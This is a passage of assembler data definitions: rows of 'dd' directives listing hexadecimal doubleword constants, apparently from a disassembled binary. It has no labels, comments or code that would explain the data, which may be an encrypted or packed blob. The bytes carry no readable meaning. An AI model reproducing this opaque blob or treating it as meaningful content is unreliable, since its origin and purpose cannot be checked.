998071C5h, 0CE9AAFh, 5BCA7AFCh, 5AE37C49h dd 0F5B6D500h, 12525D8Eh, 564C07ACh, 84FB7EABh, 0BCC4E4h dd 38B406A0h, 2100A94Ah, 0F51423CDh, 1355639h, 9D5DCCC6h dd 408EC213h, 519EDDD4h, 60B5C4E8h, 741D65h, 7707FE98h dd 2BA1C86Eh, 1B8FF500h, 96D96F9Ch, 0F4621F23h, 5EB70050h dd 20C64259h, 72B09348h, 2107AF77h, 0D7A49478h, 3DFDC1D1h dd 4870B0D8h, 0F70054C2h, 0B5D849C4h, 0D024FA81h, 6F0381B7h dd 0DFAB7917h, 8D9FC9D0h, 1BA20150h, 0EA6AA88h, 8FC3F461h dd 0D5171092h, 0E60071F4h, 0AA2C0A5Fh, 899007B8h, 2839157h dd 0A560F79Eh, 0F93BE87Dh, 0A04C11h, 6176C6FDh, 0E7B3B5Bh dd 39C22272h, 0E4EBA1E0h, 6400B4F7h, 0CE8C6947h, 13F0754h dd 2B142917h, 0FB6A1EA7h dd 0C0E173D2h, 0A3AAD834h, 243C9026h, 6103A18h, 18A97AB2h dd 0A81473A2h, 16005D3Bh, 5C61F733h, 1405D65Bh, 0A8E786E9h dd 2A6ABD0Eh, 1E526880h, 0D116FAFEh, 891441C5h, 877A3C08h dd 8D887281h, 890AC0C0h, 0B05700F1h, 5FAD39BEh, 9303C3DAh dd 0F3A40905h, 0E314E8BFh, 65181C9Ah, 743D00EEh, 4449AA84h dd 128D4100h, 9B77E30Fh, 0DCCF00C8h, 8B88E4EDh, 0AA7C45A1h dd 6D0A9D12h, 0B6FAD900h, 0FCCC3AECh, 972B1FDEh, 9F0840D3h dd 0CA3BEA28h, 881A4D00h, 3A17AB91h, 620C0050h, 779358A6h dd 1900215Dh, 83C25222h, 7D23D657h, 0CD020453h, 88BEC859h dd 0E6006B50h, 0DE13A50Bh, 7882882h, 0A3C1119Ah, 4A46A09Ch dd 0C6006490h, 0B322C74Eh, 202365h, 36C90341h, 680A7904h dd 9DC5FF01h, 60AC2F16h, 7265CFE0h, 0B87B00E5h, 8896E8AFh dd 26007D4Fh, 0FB3CC83Fh, 0AE85EBh, 802C5717h, 2E5B6E99h dd 8024C53Fh, 60C40C89h, 8C215Eh, 4C9A9CDAh, 3145253Bh dd 0E5030998h, 70D1D995h, 62CCB85Bh, 80850EE1h, 0C800D7C6h dd 3D9154D2h, 0A1FD6800h, 7167EC51h, 0E7C0F8Bh, 873EAA22h dd 0E0CA08CDh, 0AD200D0Fh, 4535B600h, 0D5A99767h, 0ECFC0099h dd 83C338Ch, 8000EF8Bh, 64619D04h, 98242F96h, 858400F4h dd 0DA12A42Ch, 730FA383h, 0E1EF0F2Ah, 0E5D69C93h, 0D0F9807Ah dd 28008B0Eh, 0A2B6F69Fh, 45C3B27h, 681D8103h, 2150A1B0h dd 0E9C5FC9Ch, 0ED8DC00h, 0D744F46Dh, 929303E8h, 74CFA787h dd 0B3F36F88h, 25194C00h, 0DEA89685h, 0BA7200D7h, 0CA22AE1Ah dd 6807E007h, 42C87188h, 7EADC471h, 0DF6860h, 911BAC62h dd 9FB4BEAh, 21CFF0F3h, 33FC6358h, 0A1871896h, 1040D2BEh dd 70DBDC72h, 83B6003Ch, 71AFF026h, 315CC29Fh, 0E8FF00BEh dd 8EA3E79Ah, 0D630003h, 2A26C55Eh, 0B4FC5CE9h, 0E9052B37h dd 40624C85h, 3BFC3B9h, 7B9C0498h, 0AFA0248Ah, 5500C886h dd 44BFA70Ch, 0FCB24BD9h, 10030077h, 0C62570F7h, 6B1B657Bh dd 0E9E0DBD0h, 25609952h, 0FAEC3744h, 63666061h, 857A1E20h dd 0A4B9B801h, 0BB585AC9h, 9441F0h, 0F0823FCBh, 57052010h dd 6FEF100h, 0FCE18FE2h, 0B27AA2h, 8124C9EBh, 7D23BF90h dd 6E7501Dh, 94180B81h, 5ED572F4h, 0DE86E4h, 0D2CF7DC8h dd 0DA6D8A39h, 3F3D6300h, 2FE2C1A9h, 5EFB00C2h, 3AA1EB03h dd 4A00CDE8h, 8DA50EC5h, 9BBDA70h, 0B0988411h, 1BD56883h dd 0EDD4C590h, 0E762A41Fh, 4880A01Fh, 0F47F5C19h, 94A90485h dd 0C2AEAA73h, 9981B309h, 0E678883Fh, 60E18C5Bh, 0B8F0F42Ch dd 1910604Fh, 0B9E886A3h, 0D4B29628h, 8AA9033h, 502103A2h dd 0BF1FE96Eh, 7AC41AC8h, 42A0E108h, 71E28316h, 5ED0E8E6h dd 76F625DBh, 0C1204300h, 90B9BD81h, 0EEFA00E7h, 0B017DDB5h dd 5B105E16h, 0F712140Ch, 89DA00FFh, 18601E98h, 0CB6459C0h dd 0DB10Ch, 293B78F8h, 22BD7BCFh, 7F0685E6h, 0E264C379h dd 9BDF0520h, 3C6E53CDh, 0C8469420h, 8C8ED601h, 702B236Ch dd 0E3038051h, 0EEF149B0h, 0EC3DD15Ch, 0D46EA08Ch, 0FC40F0D0h dd 7595065Dh, 10B48D2Bh, 4B6B2401h, 8B8FEE05h, 0F9BCB450h dd 41B8A0F6h, 40A95C70h, 0BA801F39h, 0BB74A6ACh, 8300CA9Eh dd 0F5FA648Fh, 6113DB76h, 633BB90Ah, 4F601BCh, 18775888h dd 8606591Dh, 69DEABh, 0EF39647Fh, 161E945Ch, 86C4433h dd 0AA2100ADh, 0C6463A4Ch, 3D2A125Bh, 7638889Fh, 540384C5h dd 1097F990h, 771EE910h, 7B580663h, 85070ABh, 0AC21C460h dd 1301EDEh, 0F9D00999h, 0DDDD0BFFh, 9E282039h, 0AC024243h dd 0A296B3E8h, 4E100131h, 3C01E954h, 1B2641A7h, 0ECD4189Bh dd 0A8D7244Ch, 82B78154h, 0E426B2D0h, 0E33DBAFh, 3BF08C0h dd 0D08D7C21h, 0C8F81976h, 0A80AC2E9h, 6CB96F4Eh, 9FE215Ch dd 3AF56B87h, 0C4CC6740h, 0C68637E5h, 7CF0C041h, 7F072F66h dd 2C7E05BFh, 24CF9000h, 30FA47h, 1798DCCDh, 6B9DAAF8h dd 0A6B7DA00h, 0CE0277CFh, 0E9281337h, 9FA8070Eh, 3F605EF0h dd 5A776561h, 4CF14A00h, 3D256EACh, 0D0DD519Bh, 520FD4h dd 752B61C9h, 0F07328C2h, 0BCDCFD48h, 2078CA4h, 9C9599D6h dd 0AF46C0E0h, 5A301B3h, 5748C107h, 26E440F9h, 0DF483775h dd 76510580h, 6C413139h, 0D221616Eh, 0A303BC32h, 3C7C743Eh dd 10FF4BD3h, 80CA5C9Eh, 67D46054h, 89A54230h, 2832EFh dd 0A94C2BFCh, 9FE50913h, 5B622C00h, 8A69A278h, 0B8C95486h dd 0B03B00ECh, 7B709CA8h, 8C1FFCA0h, 24809E28h, 0A5300957h dd 7C72002Ch, 2A45DE98h, 512AA29Ah, 9590EC64h, 0C0E279C0h dd 27B80Bh, 0C7A7FA09h, 0D468257Ch, 6C907FEAh, 80147149h dd 63721EE4h, 0F5458CE0h, 1E4560h, 4445C2B3h, 54F72D3Eh dd 0B4289800h, 57700489h, 76A0A07Dh, 6C94A8F4h, 6DBD00FCh dd 0EFC709CDh, 0BF0FADB0h, 0C0AB355Dh, 1F9AE5CBh, 16E8F8h dd 13813F25h, 5378DA1Eh, 804FA900h, 0ECC508BDh, 7C0C9017h dd 0BF5D265Ch, 0FD5F003Ch, 0F23417Fh, 0DC5B3013h, 0C184B014h dd 9A34CC3Ah, 0FC4E043h, 15532A91h, 0C64403Ah, 197098A1h dd 637BE885h, 0C18463F8h, 5AC02107h, 60F0CA1Eh, 2360F3Ch dd 5046D8FAh, 8080F6A6h, 0DB75F98h, 97DD0C01h, 0C93BAE30h dd 724104FBh, 0D0C010C3h, 1B7BD4DCh, 9998D8A8h, 13756109h dd 4444207Ch, 0F41E86EAh, 9B690DF8h, 3038BE2Bh, 0AE449C20h dd 796024A4h, 1124A4E8h, 0D07C805Ah, 8CD82688h, 92918C60h dd 764D08Fh, 0E2E73E25h, 0A042Ah, 31F5CDD1h, 0E01E2AF3h dd 0ED7624A0h, 426DC0F8h, 38A4E5ECh, 89D0B504h, 69389026h dd 8FD08000h, 572D589Ch, 385405FEh, 40EE9021h, 9652D890h dd 53009AAEh, 98D0CD58h, 6B71EDh, 25B67BC0h, 45613DE0h dd 0B8974E2Ah, 0CA32F10h, 0E044456h, 82EC05D0h, 246E2A0Ch dd 1010D0A1h, 13E887A3h, 62AA96BEh, 43201C24h, 16AFE96Fh dd 1615520Bh, 808210ACh, 0F9A3BC18h, 4D01D887h, 6C1947F9h dd 8DE854F4h, 42951952h, 0C488499Fh, 0AD00800Fh, 501DB0B9h dd 74030DAh, 0E423875Dh, 0FDF2A160h, 0B8B44047h, 0AC125CE9h dd 0A820791Bh, 702E60Fh, 59638C7h, 0A740E0E4h, 4104EBD9h dd 0BDD3936Dh, 94A01087h, 15B6571h, 44581BA4h, 0D489153Ah dd 0A0604FACh, 0DA145391h, 558103F3h, 9E2D6841h, 0D6C65888h dd 5D596F00h, 0CADBEC4Ah, 58B060A8h, 6D1A0F85h, 0D7BA5E06h dd 299B1ABh, 7895219Dh, 5C60A15Bh, 371702BEh, 8000F463h dd 0D7C303CFh, 4C851DEEh, 0DC440786h, 96D0301Bh, 3091AB80h dd 0B297B800h, 14D5A7EFh, 0E888796Ah, 96C09338h, 0E0A6E710h dd 5807037Ch, 9842F8E5h, 0A8C12AE1h, 0E0468018h, 86D0BE02h dd 0B6318826h, 89682180h, 0C4D17D0h, 34977601h, 446B3AE9h dd 84DEF085h, 0D90880E6h, 9CA8F14Fh, 8007434h, 200B42BDh dd 0E9298EB9h, 2F415192h, 0E8D2388h, 96C7770Ah, 801A4447h dd 0AFB5FC64h, 0E3707F62h, 7A78406Fh, 30ED81DFh, 0EF227B00h dd 0ECE1EF99h, 6AD45080h, 0EFD5D5Fh, 465E7494h, 0CC48001Ch dd 0FF80493Fh, 0C070C2C8h, 605079D0h, 0FE3D6E01h, 0EFC94195h dd 8C7DC870h, 0E4397102h, 191A7C5Ch, 0B9A110BAh, 12930136h dd 93A9F64h, 0EA3EE006h, 0EEAE6E15h, 48C72A0h, 2685D0B9h dd 24B464B0h, 0D084007Dh, 930253Ah, 0CA0CEBCDh, 21D4D687h dd 31FC016Bh, 9E8C08D2h dd 2B6CD006h, 58DACC00h, 0C9235CE1h, 4CA498A3h, 241DDCB5h dd 7624A4D1h, 2E00BF47h, 0D504C8FCh, 0ACA81469h, 0A35CA996h dd 43CAE8CCh, 7D800003h, 7560A1FAh, 82230024h, 2F8E9DF0h dd 0E9004BBBh, 0B5251972h, 0B8ED3B28h, 52451454h, 37FDCC7h dd 4B09BD2Ah, 0B4CC3642h, 7F007858h, 0A156D06h, 5DF364h dd 57FE7D2Ah, 0FDEA9D3Ch, 465C6894h, 932605A5h, 0A05D305Fh dd 94136DC4h, 8006DC94h, 1311748h, 398F0656h, 303DC20Ah dd 38283777h, 2C43C04Bh, 0B1E20452h, 7E21B530h, 618B02DDh dd 17F67797h, 2E434400h, 3D5501E0h, 7D5CA168h, 4CE888E2h dd 0E8B2634Fh, 4AD296E8h, 3CAD4486h, 0B7E97900h, 379A2027h dd 714401F1h, 0C7348342h, 0A22C63BEh, 0A6DB30ADh, 1E12D100h dd 7E9B59BEh, 9087394h, 0A8AF9377h, 0E1BC4483h, 82E938h dd 38D1F3E6h, 0F437C42Bh, 44D6581Eh, 73435880h, 470F72CCh dd 76A0F1D5h, 5C9E0F07h, 8664D190h, 21B001C9h, 8714EE49h dd 963824BBh, 3C900239h, 2965801Ah, 5C8A4E5Eh, 20E7192h dd 0D0147DE0h, 460F121h, 513AF919h, 7FFF8002h, 0D5719E3Eh dd 40F7024h, 5D8754B6h, 9010C2FEh, 8397A30h, 20045CE5h dd 0A040C964h, 9BF83962h, 83896100h, 0A487AAC3h, 0E1A96073h dd 8464719Dh, 5E047498h, 9F785C51h, 94F2E080h, 7649C1DCh dd 80128443h, 3FDA2218h, 0FDE76527h, 0C0757038h, 6E98DF29h dd 18C0C3DBh, 7BD51F18h, 1CDC91A3h, 2715D777h, 28AC42Ch dd 0E8333014h, 24AD138h, 0E443AC13h, 0ECE8779Ah, 0EE1A5876h dd 0C069DD98h, 9E6B2158h, 0AC21DE04h, 0C3DC08D5h, 232084D4h dd 0C404CE01h, 4CD86E03h, 711E08E3h, 0BCC4E863h, 1EE0B240h dd 0C13C256Dh, 0E2330019h, 1D8C1F2Dh, 0ACD3545Fh, 26720045h dd 0D46EE019h, 4E020F6Fh, 0CE2CFE6Ch, 449082EDh, 31B4A0A9h dd 97EC3697h, 0ED087437h, 7721004Ah, 0B4D26292h, 3EE67F0Fh dd 0DA6F202Eh, 0DA556h, 0A449708Ah, 23F44415h, 59E55E00h dd 2AB216B8h, 96402FFFh, 0E24104A0h, 535C8B3Dh, 0C938037Dh dd 828D82C5h, 710560Dh, 6077DC10h, 95F1732Dh, 404B7103h dd 0DAE40B59h, 2785CAAh, 0A3AE72FBh, 0DA00C856h, 0EAC55CBDh dd 6102007Dh, 0E9C4A2F6h, 980E038Dh, 60F5511Ch, 4C3B5E95h dd 0CD7E2Eh, 86C4D806h, 0E0976683h, 0E3BA9200h, 67CEBC24h dd 0DE57005Eh, 0BFC43AAAh, 0C9FE93E7h, 6F0062F6h, 0F609B70Ch dd 0DE434Fh, 79D57AEDh, 0EBA2B218h, 70465D00h, 0EE26734Ah dd 0B97030h, 0DE837297h, 67F2400Ch, 40057D25h, 398564C4h dd 2102020Bh, 0B7C6EF89h, 7706A454h, 0E1EC71h, 70E68165h dd 80D906D1h, 805C7927h, 0FF6D4BDCh, 0C080043h, 38717657h dd 9309F3A8h, 7042AEB6h, 5C201DE8h, 677040DBh, 9D2D5FE2h dd 24A79001h, 0B4B2ED60h, 664E9440h, 80D80985h, 423F707h dd 5AE0323Ah, 6501B2DFh, 0CD1DB175h, 0CFC0C9E8h, 0FC6D728Eh dd 9ED03DD1h, 1ECABF00h, 69C3965Eh, 7C65F900h, 2B98CD48h dd 228300E5h, 78F75B8h, 0FA00804Fh, 0BE9EE644h, 0F0F7ACh dd 9668507Eh, 0D945821Bh, 0BBFC8B03h, 0E855862Ch, 0E16AB6Ch dd 0F60A7573h, 64F26B80h, 0C2001269h, 856C05B6h, 0A493E5h dd 70743F29h, 0F4EB06B4h, 0B9CD0E1h, 1814D501h, 0A8B0CCF2h dd 9FD36D4h, 0AAF6A396h, 76F71800h, 0C900FBE6h, 5D5E904Dh dd 1FD9FF5Ch, 80BF7C62h, 0A163E129h, 5201C23Fh, 221B6A14h dd 9C249A7Eh, 0EAEE3A33h, 0BD580280h, 0FA7944A1h, 836EFB00h dd 8B1A954Eh, 63D4004Fh, 84DCADECh, 0F503466Fh, 53A354D2h dd 44D2007Dh, 85CFAACDh, 700DAE0h, 65E4501Ah, 15B02F7h dd 420B702Bh, 0E46D61C2h, 2401F884h, 87B4538h, 10202537h dd 815409E9h, 0F3D6D0C6h, 0EC40E212h, 7AE3DACFh, 0EFAB12E5h dd 124F2EAh, 1DC029D1h, 0A8D8CE8Ah, 207993h, 0BB7444C4h dd 0AAE25FD0h, 5B000F7Dh, 6DF9816Ch, 2E49527h, 33A4AE0Ah dd 0BA402D25h, 9F03BE51h, 0E87160D8h, 4695A01Fh, 7C7A00AAh dd 0B54CF915h, 0A4C5380h, 0B3D0807Ch, 0CE614423h, 6AA0CE28h dd 31A40FAh, 0D182E4E1h, 81EAD73Fh, 0B3228438h, 63C888B5h dd 367A30h, 0DEAA43FDh, 0BD55CE4Fh, 0DB425E00h, 2710CF8h dd 0C86900E1h, 76F1DD28h, 0AF3936FDh, 82FF00CEh, 74B351C0h dd 0DB263D33h, 0C098F498h, 2C01A645h, 952BE47Ch, 0F6C07508h dd 61AD009Dh, 9C1BB87Fh, 340FFBE5h, 400C6B44h, 0B3EF3EE4h dd 9A90002Ch, 76B72421h, 0BF00B105h, 0EAAE2DB0h, 1F04789Eh dd 4050FEFAh, 58B4C4B9h, 990792F4h, 7C5748A0h, 9E722107h dd 8912E0C7h, 0C2310E14h, 0E620841Bh, 0A25B0A02h, 8B651607h dd 0E803CE36h, 81310F91h, 78007B5Ch, 0FFB6A912h, 33F25000h dd 82E1EAACh, 1C17B29h, 0F68B7387h, 2052FC18h, 0FA07851Eh dd 9C46B2E4h, 8EE6C50h, 0CC1A0278h, 2BACC555h, 0BE255C78h dd 5F84685Bh, 0E0746EFEh, 0FD72AF83h, 6F98BDC8h, 44731900h dd 4D9B66C7h, 9EEB00BCh, 7C514A9Dh, 2670FF61h, 14D94300h dd 85F511ADh, 7637003Fh, 0B55EC6E3h, 0C92DBF7h, 81420939h dd 0A1FE272h, 0B670A70Bh, 581C764Ah, 0B71C04BAh, 2B2F837Ch dd 53D87E78h, 0A7010432h, 468BD01Eh, 94342C82h, 0FA47CC3h dd 8FB64460h, 5645C000h, 0F800BDF4h, 0BEDC7166h, 0F2A3A9ADh dd 0D9E100EDh, 0D48D8BC5h, 2A07A4F4h, 3B600897h, 9F0A89h dd 3D5A1902h, 0EAA0605Fh, 6B541DA3h, 0A10C92Ah, 980ECC00h dd 0CB00D758h, 593F0479h, 76BCA46h, 2B5330E3h, 0D48C80FFh dd 0B7003A1Fh, 2796D154h, 98DBC0h, 96124CAh, 0DA9568EFh dd 0A754D800h, 83B6ECC6h, 0FC3B002Bh, 1A913087h, 8B00DDE1h dd 0E2DB2CA5h, 5C3ABB82h, 53007F54h, 0B7A1017Fh, 3907F542h dd 5D10E65Eh, 0E01AA273h, 1BCC574h, 710B8764h, 0E5F6BE93h dd 3C432F2Bh, 88A40CC8h, 1F65A8h, 0C6E66A5Ch, 0F7EEB312h dd 0F8944407h, 7490308Eh, 411E50h, 97E08415h, 34C24EEFh dd 80732E3Dh, 0FEC1F10Eh, 80B99Ch, 3D2C4713h, 73E619CEh dd 9DDD9600h, 85312E54h, 0C56E0F2h, 0EE2AEB6Ah, 0C0003B68h dd 83A1CAB7h, 343050Eh, 8DAA1473h, 91903533h, 20C0B895h dd 9097F8B0h, 0B723007Bh, 0A2359683h, 8E01368h, 84C46A5Ch dd 8CACD167h, 968202BBh, 5A9267C0h, 210E2C50h, 0EA7600D3h dd 83AFD03Ch, 0AA644D04h, 28ADFE44h, 0EA726C0Bh, 0DC6AB420h dd 5C3AEE1Bh, 0B3D58D4h, 0C80B6BB3h, 0A08B448Ch, 0EB8761Ch dd 1863737Bh, 8994D80h, 0C80025B2h, 0B1A9D5CEh, 2ED48Eh dd 269247B9h, 0B544102Bh, 1E623800h, 0E2988B4Fh, 0D07A004Bh dd 3B874CDBh, 89034767h, 1E6BB4A1h, 0B154D016h, 3F44004Bh dd 0F57C42E4h, 548292F9h, 9013EEECh, 4BEA7C80h, 84148339h dd 2A8E864Ch, 0F677C4FDh, 5A700BBh, 76DE5284h, 0B303C65Fh dd 193E9B27h, 93C0C18Ch, 4BCECh, 0AF6BD99h, 0C34EE552h dd 626CA612h, 0A9B77A00h, 0AE13234h, 0B8812453h, 331D009Ah dd 971BE4C3h, 0DF48F700h, 8108669Fh, 0C1391D58h, 0C27A83F4h dd 5EB8185Ah, 0FA008DE7h, 77357FCEh, 678F8Ah, 0DA17E266h dd 3F15936Ch, 97F80A27h, 80C791C4h, 338B4B26h, 427B0039h dd 0BD81A860h, 0F3079368h, 92F81799h, 41854AA0h, 0BF7F05FDh dd 0C6F14998h, 0D5F548B3h, 0C0A0384Dh, 96B8E885h, 224C431Ah dd 6C310106h, 0E591F1E9h dd 89C02E0Fh, 3ABCE6F6h, 0B525B360h, 4DF98A0h, 0F95ACB70h dd 511AFC4Eh, 7F2A500Dh, 0BC543818h, 6C988CADh, 0ED66F600h dd 0ACD98699h, 0B35F1696h, 1420D0C9h, 0DA608330h, 732C6010h dd 0B00E009Ah, 2813B779h, 0D8001674h, 0C109990h, 31BAEEh dd 4F3D77A1h, 0A2A72C7Fh, 79ACF000h, 0B1D39541h, 0D2148BEh dd 1CF72900h, 54C6A47Dh, 63007871h, 0A0F2ACA9h, 0CE85AAh dd 965C6C20h, 0C8F6D902h, 0C4F6203h, 0B06BE2DEh, 7213CAD8h dd 0CE39009Ch, 0B0ABDC88h, 5C00551Fh, 21580474h, 18F2E96Fh dd 18709213h, 7EF8651Eh, 2D105A7Eh, 541C91F4h, 0CD208EC2h dd 0B398F6C0h, 0D86077C3h, 6E6AA2A8h, 7BDB0070h, 8B0A8351h dd 7C17415Ah, 0D00047A0h, 0F434E910h, 0ABA813D5h, 8AD400F6h dd 0CC6AD314h, 0DF847500h, 85C62F7h, 3CBFE89Eh, 0AF07C495h dd 808DDBE6h, 1DC7AE53h, 94615B00h, 90038E3Ch, 42EED4h dd 277F0DDFh, 0D5F6FFC4h, 0C5DEA701h, 1F62F333h, 831930h dd 0E334B87Ch, 0CBA609ECh, 0F4412603h, 8029FDBAh, 363D40h dd 7DAB866Dh, 6077D30Eh, 1961CF31h, 0D243EA79h, 2F4DD014h dd 0B6A81E1Eh, 0B51321h, 929CCD15h, 940B26F6h, 81432047h dd 660C1CA8h, 1FDC82E4h, 807D1BA2h, 45596F95h, 423C9C6Dh dd 10E9C71h, 3DF1E00h, 103EB7h, 792270F2h, 0A6D5F5BBh dd 61ED0C07h, 1BA27321h, 0ACDEE04Ch, 37CF0113h, 6E585A5Eh dd 49BFEC36h, 96F0A10Bh, 28570045h, 0F7845Bh, 1602BA69h dd 48B72510h, 4DE0F00Eh, 79D0035h, 15D8426h, 0E4E13D7Ch dd 0E08D5415h, 0CA3C0BE9h, 4307005Ch, 94487212h, 612A00C5h dd 0B810A737h, 801A1BDh, 0B5F33531h, 0C4C44745h, 8AF81C43h dd 0D83C00AAh, 6DBEB4DBh, 3551AE00h, 7E2CA26Ah, 8490FFh dd 52C8622Fh, 0B953B557h, 3E1F2EF4h, 6017D9Fh, 5B215C8Dh dd 3A7530h, 0C498596Ch, 52126628h, 43A820FFh, 8BE4CB7Fh dd 9A30700h, 51420F0Dh, 0CCAD5971h, 0AC8A0074h, 3C1C2CEEh dd 8F03C430h, 125B8654h, 6994F897h, 911000A4h, 29FA95E4h dd 39012E06h, 0BD9EE9D6h, 689673DEh, 9D00EEF4h, 0F831C28h dd 1F377F4Ah, 408E0782h, 772B88A6h, 3900864Dh, 995964CDh dd 7CED1C0Bh, 0E33C0045h, 0E7FF7848h, 5EFEB40Ch, 0EA646700h dd 7BAF1BB8h, 0A7EC00D7h, 330FDBE1h, 0D800EFEEh, 39ED4377h dd 9D4FFEh, 175D216Eh, 1F3A1ABBh, 0A8E1AC00h, 2CDE442Dh dd 0A0F101EBh, 1D6DBCDh, 5727E43Fh, 87E4C07h, 0DA04475Eh dd 7032CF80h, 18737D8Ah, 0B224FA03h, 450F3B17h, 41D51F8Ch dd 112BA397h, 4A6BF4h, 0C1319646h, 67B1676h, 3700C87Fh dd 2F589C1Eh, 3DFABC8Bh, 0F7073C56h, 907FE155h, 5EE3AEECh dd 0F348B071h, 507D00EEh, 0B8099338h, 6513009Dh, 92AB770Fh dd 0CE2CF736h, 8E00026Ah, 0E7F82874h, 0EB053F9Eh, 0C11CE303h dd 0F0182E18h, 0F309166h, 0E2B6008Fh, 8756CFDFh, 740058A0h dd 1D757723h, 18EF7AF9h, 615C4EB0h, 9900DF4Dh, 0AA22410Fh dd 0B009DD52h, 7EAE07E9h, 0F08F1D3Bh, 803F97DEh, 0BC55B100h dd 0D240B32h, 3B92000Ah, 48FBC48Bh, 703C5386h, 8FCD8011h dd 29D578C0h, 160A0E6Eh, 0C15EEA5Eh, 2B397619h, 0C292C893h dd 4C99BD00h, 0D920FB89h, 0D1EF0033h, 0AF54E826h, 5F5023B4h dd 4A00C2CEh, 601E68D3h, 9BA7A9h, 0A2B56678h, 0E5CAC6C3h dd 67BF77Dh, 9C005CF8h, 0CD680176h, 0F2BD45Ah, 98649E0Ah dd 67E02C8Fh, 0FC921F3Ch, 15005EE0h, 0F2EE3EE3h, 0ED7D1DB7h dd 0FE7B22F4h, 0E0800E14h, 0F7A0D7E8h, 0E49042B6h, 0C3FFB707h dd 9E1691h, 9C5E40C7h, 967C17h, 0A6AD481h, 1B1978B7h, 0C42A630Eh dd 64466076h, 252974h, 21F760D0h, 3D15F0ADh, 0B2242EFAh dd 5D00805Bh, 0EE548A0Fh, 936000E0h, 0A8943889h, 550087EBh dd 9D84BA81h, 0E8E01D4Eh, 6C0E049h, 0A166E28Dh, 940059FDh dd 2216F84Bh, 7B9B9FA7h, 33C1007Ah, 96E11C1Ah, 481CC681h dd 0C4E65FCBh, 15CCC207h, 25E5F971h, 351F020h, 0E0B0386Ah dd 43A3C61Dh, 74AF2800h, 21EDEBC9h, 17409FC8h, 3B719DF1h dd 0DDF7CF00h, 0EA3244B1h, 18E39022h, 501E7810h, 4A4842C9h dd 0F0D21350h, 89DA3400h, 686118h, 22A4507Ch, 55E08A5Ah dd 42F5DC07h, 0A350CA91h, 8C10D6h, 2A876086h, 0F6B675D3h dd 8994DF50h, 0B0572500h, 5C2219A0h, 0BA8A012Dh, 1B317285h dd 0E82230FEh, 0FBF48B00h, 1C2D24C3h, 48943F17h, 0E9CF926h dd 55677761h, 0DDC68073h, 0B1038371h, 5463F4F2h, 0E3669A3Bh dd 217CF818h, 35000B5h, 4F79E914h, 80098F8h, 0D90B903Eh dd 39FC3D74h, 0BE1EE46Dh, 6E37C035h, 0C99279C8h, 93A29401h dd 0B09E318Ch, 26E8C7E5h, 3EF20A2Bh, 8EDCCF2Ah, 84E080C6h dd 28343D57h, 0A8C08F72h, 0CFCC3F6Ch, 0AB89066Ah, 316157DFh dd 18C7AE40h, 3885343Ch, 0DF008241h, 0A7FBF827h, 0EB18C8Ah dd 0A04995CFh, 0DDAD3C82h, 2AAC20A0h, 42163786h, 36011C77h dd 6F8F9E3Fh, 0E5B2087h, 94DA10FDh, 0F10C86CBh, 0CAACE27Eh dd 133103DCh, 20FCFF0Eh, 73FD2DA8h, 9D371506h, 4164A9h dd 6A1D1CF0h, 7E75CB9Fh, 6C34C8C0h, 86C4AB7Ah, 0C05FA740h dd 8F22A5F8h, 7F02BCDFh, 0EAC3B4E8h, 0AEF440E6h, 99C83C79h dd 1E905187h, 0C159A046h, 3B3EC7D6h, 0E1ED025Bh, 7706E9FAh dd 7DA6BCC0h, 614B4403h, 0A8D0E835h, 3A454A0Ch, 9B00C496h dd 375560F3h, 0CC00C1C7h, 0D1A27588h, 0B96948h, 2464E5EDh dd 998CE03h, 9F00347Ch, 18B421C7h, 268E3814h, 2873C6h dd 9ACFE880h, 48004481h, 914174ABh, 18DA34h, 1631423Ah dd 0AE3B01CDh, 40002AF6h, 85305569h, 0F6FE4E3h, 262F1308h dd 34F1F500h, 7800A016h, 0CD676E0Ah, 3449B59h, 9A806B8Eh dd 7DE87555h, 0F2017B04h, 1C5AA8F6h, 5F204FCCh, 6C22486Fh dd 0C0A0F71Dh, 0C43B9E0h, 3F00F89Eh, 0AA897BADh, 111E11Dh dd 907A6471h, 508488B9h, 6904E8D8h, 7E0040E8h, 3955A2A9h dd 432AE9h, 0B5AF5A4h, 0C3094106h, 0DB2DA501h, 0B33D9DD2h dd 4080F8C9h, 0F2FC0FDCh, 730EC503h, 0BFB07A20h, 48D5140h dd 240DC75Eh, 8078E8A6h, 0E383E7A4h, 0EC00C59Eh, 0BC5FC13Dh dd 378FA9A0h, 0F0C921ABh, 15CEE889h, 698EEE0Ch, 73F191Ch dd 9F7A5D52h, 3075C48Dh, 190346DCh, 0D997B341h, 0A917C449h dd 0E00ED7Dh, 0C7065F36h, 1E10C2h, 45EA63D7h, 3F0D7DCEh dd 928C3E18h, 0C05F3C39h, 1839A6E4h, 0CD006EECh, 9ED7C2FAh dd 839FD6h, 73C3631Ah, 0EB41070Ch, 0CB203102h, 64A59517h dd 36D900C8h, 6543B2F1h, 1B375FF6h, 8032E8A6h, 2342551h dd 0D74A10F8h, 22758082h, 25744120h, 9C805CCh, 3CD66BEh dd 0E5C9D2FEh, 738C8C02h, 5735B4E4h, 5139C4C3h, 46F0019h dd 0C2661E3Eh, 0C1A82455h, 59613CEDh, 80937D2Ch, 51D223E9h dd 0C6D18C4h, 0EFEB2203h, 9E01D549h, 9D2EE31Dh, 0C6F878E5h dd 0AB881C14h, 0DC038EBBh, 16FF2100h, 8C9805A1h, 85610960h dd 17A4F154h, 9C958C7h, 2C90A2B7h, 0AD009F07h, 7CE95268h dd 1F29168Ah, 80E1206Dh, 30881A64h, 0E318D5A0h, 9C511F43h dd 9DCB00D1h, 0CC06C374h, 0EB0008D7h, 486113Ch, 60D42B22h dd 0D6546198h, 0C0A8E6A9h, 58007BF2h, 0C7A72318h, 63DC2276h dd 3EBCE1F6h, 849EFAF8h, 55038F70h, 8DB323D5h, 10200020h dd 514F0421h dd 2500B2A4h, 22242938h, 3F5FF1A0h, 650F11AEh, 0B620D65Eh dd 0B33E4413h, 302359h, 6E36FEA5h, 3F7BC18h, 58CCD974h dd 82DD605Dh, 0E480062Eh, 402017FCh, 0F8E62218h, 1AC1B99h dd 3EE90D09h, 22768924h, 80E33D08h, 5093071Eh, 0E02655B3h dd 1823985Ch, 41EEA9B7h, 7EACDD9h, 0F2AB1F0Ah, 0A201B4E7h dd 134AA106h, 0D91863F2h, 0F4482ADBh, 3A221D6Bh, 20B252E1h dd 879BE7E8h, 6300CAEAh, 0E8101899h, 1CE4EDDh, 823DBCDBh dd 10EBA919h, 74EE51h, 69E094C1h, 45C5D388h, 0AE0E5C08h dd 0FB0780F4h, 0C6A8CD5Fh, 81EA9803h, 0C833D1B3h, 1B87388h dd 6CA69EBCh, 0F9313EFEh, 413980E9h, 0AEA9DED8h, 29FED1h dd 14ADE266h, 0E5D059E4h, 6F68BD1Fh, 